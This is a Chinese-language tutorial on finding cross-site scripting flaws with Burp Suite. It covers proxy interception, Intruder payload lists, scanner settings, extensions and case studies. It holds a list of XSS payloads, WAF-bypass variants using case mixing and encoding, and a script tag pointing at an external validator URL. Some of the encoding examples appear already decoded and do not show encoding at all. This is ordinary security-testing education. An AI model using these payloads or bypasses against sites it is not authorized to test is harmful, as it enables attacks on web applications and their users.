一、环境配置
1.1 代理设置
// 浏览器代理配置
地址: 127.0.0.1
端口: 8080
// Burp Suite设置
Proxy → Options → Proxy Listeners
绑定到所有接口(如需远程测试)
1.2 安装CA证书
访问 http://burp 下载CA证书,导入浏览器以拦截HTTPS流量。
二、使用Proxy发现XSS
2.1 拦截请求
// 在Proxy → Intercept中修改请求
原始请求:
POST /comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
message=Hello
修改为:
message=<script>alert(1)</script>
2.2 HTTP History分析
在Proxy → HTTP history中查找:
- 包含用户输入的响应
- 未编码的特殊字符
- JavaScript上下文
- HTML属性上下文
三、使用Intruder爆破XSS
3.1 配置Payload位置
// 标记注入点
POST /search HTTP/1.1
q=§test§
3.2 Payload设置
// Payload类型:Simple list
// 添加XSS Payload字典:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
javascript:alert(1)
'><script>alert(1)</script>
"><script>alert(1)</script>
</script><script>alert(1)</script>
3.3 Grep匹配
// Options → Grep - Match
添加匹配规则:
- alert(1)
- onerror=
- <script>
- javascript:
// 用于快速识别成功的Payload
四、使用Scanner自动扫描
4.1 主动扫描
// 右键点击请求 → Scan
配置:
- Crawl and Audit
- Audit checks: 选择所有XSS检查
- Resource Pool: Fast scan
4.2 自定义扫描配置
// Scanner → Options → Active Scanning
启用检查:
☑ Cross-site scripting (reflected)
☑ Cross-site scripting (stored)
☑ Client-side prototype pollution
☑ DOM-based XSS
调整插入点:
☑ URL参数值
☑ Body参数值
☑ Cookie
☑ HTTP头
五、绕过WAF技巧
5.1 使用Payload Processing
// Intruder → Payloads → Payload Processing
添加规则:
1. URL-encode: All characters
2. HTML-encode: < > " '
3. Base64-encode
4. Add prefix: /**/
5. Add suffix: /**/
5.2 大小写混淆
<ScRiPt>alert(1)</sCrIpT>
<ImG sRc=X oNeRrOr=alert(1)>
5.3 编码绕过
// HTML实体编码
<img src=x onerror="alert(1)">
// Unicode编码
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>
// 十六进制编码
<img src=x onerror="alert(1)">
六、扩展插件
6.1 XSS Validator
自动化XSS验证插件,配合PhantomJS使用。
// 安装
Extender → BApp Store → XSS Validator
// 配置
添加Payload: <script src="https://xss-validator-url"></script>
6.2 CO2 (Custom Output)
强大的请求定制和重放工具。
6.3 Burp Bounty
基于规则的漏洞扫描增强插件。
七、实战案例
7.1 反射型XSS挖掘
// 步骤:
1. Proxy拦截搜索请求
2. 发送到Repeater
3. 修改参数: q=<script>alert(1)</script>
4. 观察响应,查找未编码的输出
5. 测试不同上下文的Payload
6. 确认漏洞后提交报告
7.2 存储型XSS挖掘
// 流程:
1. 找到用户输入存储点(评论、个人资料等)
2. 使用Intruder批量测试Payload
3. 访问存储数据展示页面
4. Proxy → HTTP history查找响应中的Payload
5. 验证XSS执行
7.3 DOM XSS挖掘
// 查找JavaScript中的危险函数
使用Burp搜索功能:
Target → Site map → 右键 → Engagement tools → Find comments and scripts
搜索关键词:
- document.write
- innerHTML
- location.hash
- eval
- setTimeout
- setInterval
八、最佳实践
- 始终从最简单的Payload开始测试
- 记录每次测试的请求和响应
- 使用Burp Collaborator检测盲XSS
- 测试所有输入点,包括HTTP头
- 保存成功的Payload作为字典
- 定期更新Burp Suite和扩展
总结
Burp Suite是XSS挖掘的强大工具,掌握:
- Proxy拦截和修改请求
- Intruder自动化测试
- Scanner自动扫描
- Repeater手工验证
- 扩展插件增强功能